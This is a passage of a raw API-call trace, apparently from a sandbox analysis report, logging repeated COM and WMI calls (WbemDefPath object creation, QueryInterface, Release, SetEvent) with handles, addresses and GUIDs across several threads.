dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ef5b0*=0x364, lpdwindex=0x59ef3d4 | out: lpdwindex=0x59ef3d4) returned 0x0 [0142.836] SetThreadUILanguage (LangId=0x0) returned 0x409 [0142.836] CoCreateGuid (in: pguid=0x59ef41c | out: pguid=0x59ef41c*(Data1=0x9b1ce453, Data2=0x6544, Data3=0x4c01, Data4=([0]=0xb0, [1]=0xdf, [2]=0xf8, [3]=0x32, [4]=0x3a, [5]=0xe9, [6]=0x58, [7]=0xb1))) returned 0x0 [0142.837] QueryPerformanceCounter (in: lpPerformanceCount=0x59ef3fc | out: lpPerformanceCount=0x59ef3fc*=1178381415253) returned 1 [0142.845] QueryPerformanceCounter (in: lpPerformanceCount=0x59ef3c4 | out: lpPerformanceCount=0x59ef3c4*=1178382233162) returned 1 [0142.845] EtwEventActivityIdControl () returned 0x0 [0142.845] EtwEventActivityIdControl () returned 0x0 [0142.845] EtwEventActivityIdControl () returned 0x0 [0142.846] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x59eef70*=0x4c8, lpdwindex=0x59eee34 | out: lpdwindex=0x59eee34) returned 0x0 [0142.846] SetEvent (hEvent=0x4cc) returned 1 [0142.847] SetEvent (hEvent=0x4c8) returned 1 [0142.847] EtwEventActivityIdControl () returned 0x0 [0142.847] SetEvent (hEvent=0x59c) returned 1 [0142.847] SetEvent (hEvent=0x4cc) returned 1 [0142.847] SetEvent (hEvent=0x4c8) returned 1 [0142.847] SetEvent (hEvent=0x5ac) returned 1 [0142.847] SetEvent (hEvent=0x5a0) returned 1 [0142.847] SetEvent (hEvent=0x5a4) returned 1 [0142.847] SetEvent (hEvent=0x5a8) returned 1 [0142.847] SetEvent (hEvent=0x5b0) returned 1 [0142.847] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ef5b0*=0x364, lpdwindex=0x59ef3d4 | out: lpdwindex=0x59ef3d4) returned 0x0 [0142.885] CoGetContextToken (in: pToken=0x59ef99c | out: pToken=0x59ef99c) returned 0x0 [0142.885] CoGetContextToken (in: pToken=0x59ef394 | out: pToken=0x59ef394) returned 0x0 [0142.885] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.885] IUnknown:Release (This=0x4af5b8) returned 0x1 [0142.885] IUnknown:Release (This=0x4af5b8) returned 0x0 [0142.950] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.950] IUnknown:Release (This=0x4f4cbf0) returned 0x2 [0142.950] IUnknown:Release (This=0x4f4cbf0) returned 0x1 [0142.950] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.950] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2b0) returned 0x1 [0142.950] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2b0) returned 0x0 [0142.950] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.951] IUnknown:Release (This=0x4aeeb0) returned 0x1 [0142.951] IUnknown:Release (This=0x4aeeb0) returned 0x0 [0142.957] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f4b280) returned 0x1 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f4b280) returned 0x0 [0142.957] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2a8) returned 0x1 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2a8) returned 0x0 [0142.957] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f4b100) returned 0x1 [0142.957] WbemStatusCodeText:IUnknown:Release (This=0x4f4b100) returned 0x0 [0142.958] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.958] WbemStatusCodeText:IUnknown:Release (This=0x4f35cc8) returned 0x1 [0142.958] WbemStatusCodeText:IUnknown:Release (This=0x4f35cc8) returned 0x0 [0142.958] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.958] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2e8) returned 0x1 [0142.958] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2e8) returned 0x0 [0142.958] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.958] IUnknown:Release (This=0x4f432d8) returned 0x2 [0142.958] IUnknown:Release (This=0x4f432d8) returned 0x1 [0142.958] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.958] IUnknown:Release (This=0x4af4f0) returned 0x1 [0142.958] IUnknown:Release (This=0x4af4f0) returned 0x0 [0142.978] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2a0) returned 0x1 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2a0) returned 0x0 [0142.978] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.978] IUnknown:Release (This=0x4f480a0) returned 0x2 [0142.978] IUnknown:Release (This=0x4f480a0) returned 0x1 [0142.978] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f5b518) returned 0x1 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f5b518) returned 0x0 [0142.978] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x1 [0142.978] WbemStatusCodeText:IUnknown:Release (This=0x4f4b0f0) returned 0x0 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] IUnknown:Release (This=0x4f6dd48) returned 0x2 [0142.979] IUnknown:Release (This=0x4f6dd48) returned 0x1 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f5b508) returned 0x1 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f5b508) returned 0x0 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2d8) returned 0x1 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2d8) returned 0x0 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f4b290) returned 0x1 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f4b290) returned 0x0 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] IUnknown:Release (This=0x4f45678) returned 0x2 [0142.979] IUnknown:Release (This=0x4f45678) returned 0x1 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f35d68) returned 0x1 [0142.979] WbemStatusCodeText:IUnknown:Release (This=0x4f35d68) returned 0x0 [0142.979] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.979] IUnknown:Release (This=0x4af428) returned 0x1 [0142.979] IUnknown:Release (This=0x4af428) returned 0x0 [0142.986] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.986] WbemStatusCodeText:IUnknown:Release (This=0x4f4b130) returned 0x1 [0142.986] WbemStatusCodeText:IUnknown:Release (This=0x4f4b130) returned 0x0 [0142.986] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2c8) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2c8) returned 0x0 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b120) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b120) returned 0x0 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] IUnknown:Release (This=0x4f365b0) returned 0x2 [0142.987] IUnknown:Release (This=0x4f365b0) returned 0x1 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4f8) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4f8) returned 0x0 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2c0) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2c0) returned 0x0 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] IUnknown:Release (This=0x507f00) returned 0x2 [0142.987] IUnknown:Release (This=0x507f00) returned 0x1 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2b8) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2b8) returned 0x0 [0142.987] CoGetContextToken (in: pToken=0x59ef318 | out: pToken=0x59ef318) returned 0x0 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b110) returned 0x1 [0142.987] WbemStatusCodeText:IUnknown:Release (This=0x4f4b110) returned 0x0 [0142.987] IUnknown:Release (This=0x49fc28) returned 0x0 [0142.988] CoUninitialize () Thread: id = 68 os_tid = 0x914 Thread: id = 69 os_tid = 0x8f4 Thread: id = 70 os_tid = 0x8f0 Thread: id = 73 os_tid = 0xcfc Thread: id = 76 os_tid = 0xd2c [0113.859] CoGetContextToken (in: pToken=0x5d8faa4 | out: pToken=0x5d8faa4) returned 0x0 [0113.859] CObjectContext::QueryInterface () returned 0x0 [0113.859] CObjectContext::GetCurrentThreadType () returned 0x0 [0113.859] Release () returned 0x0 [0113.859] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 78 os_tid = 0xd1c Thread: id = 81 os_tid = 0xd10 [0119.517] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.540] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x439ee9c | out: lpiid=0x439ee9c) returned 0x0 [0119.542] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35c28) returned 0x0 [0120.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35c28, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0120.161] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35c28, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da430) returned 0x0 [0120.163] WbemDefPath:IUnknown:Release (This=0x4f35c28) returned 0x0 [0120.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da430) returned 0x0 [0120.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0120.164] WbemDefPath:IUnknown:AddRef (This=0x4da430) returned 0x3 [0120.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0120.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0120.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35c38) returned 0x0 [0120.164] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35c38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.164] WbemDefPath:IUnknown:Release (This=0x4f35c38) returned 0x3 [0120.164] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0120.164] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0120.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da430, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0120.164] WbemDefPath:IUnknown:Release (This=0x4da430) returned 0x2 [0120.164] WbemDefPath:IUnknown:Release (This=0x4da430) returned 0x1 [0120.165] SetEvent (hEvent=0x410) returned 1 [0126.727] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35d88) returned 0x0 [0126.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35d88, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0126.727] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35d88, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da580) returned 0x0 [0126.727] WbemDefPath:IUnknown:Release (This=0x4f35d88) returned 0x0 [0126.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da580) returned 0x0 [0126.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0126.728] WbemDefPath:IUnknown:AddRef (This=0x4da580) returned 0x3 [0126.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0126.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0126.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35d98) returned 0x0 [0126.728] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35d98, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.728] WbemDefPath:IUnknown:Release (This=0x4f35d98) returned 0x3 [0126.728] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0126.728] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0126.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da580, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0126.728] WbemDefPath:IUnknown:Release (This=0x4da580) returned 0x2 [0126.728] WbemDefPath:IUnknown:Release (This=0x4da580) returned 0x1 [0126.728] SetEvent (hEvent=0x4d4) returned 1 [0127.023] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35e68) returned 0x0 [0127.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35e68, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.023] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35e68, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da5f0) returned 0x0 [0127.024] WbemDefPath:IUnknown:Release (This=0x4f35e68) returned 0x0 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da5f0) returned 0x0 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.024] WbemDefPath:IUnknown:AddRef (This=0x4da5f0) returned 0x3 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35e78) returned 0x0 [0127.024] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35e78, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.024] WbemDefPath:IUnknown:Release (This=0x4f35e78) returned 0x3 [0127.024] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.024] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.024] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x2 [0127.024] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x1 [0127.024] SetEvent (hEvent=0x4d8) returned 1 [0127.026] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35e68) returned 0x0 [0127.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35e68, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.026] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35e68, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da660) returned 0x0 [0127.026] WbemDefPath:IUnknown:Release (This=0x4f35e68) returned 0x0 [0127.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da660) returned 0x0 [0127.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.027] WbemDefPath:IUnknown:AddRef (This=0x4da660) returned 0x3 [0127.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35e88) returned 0x0 [0127.027] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35e88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, 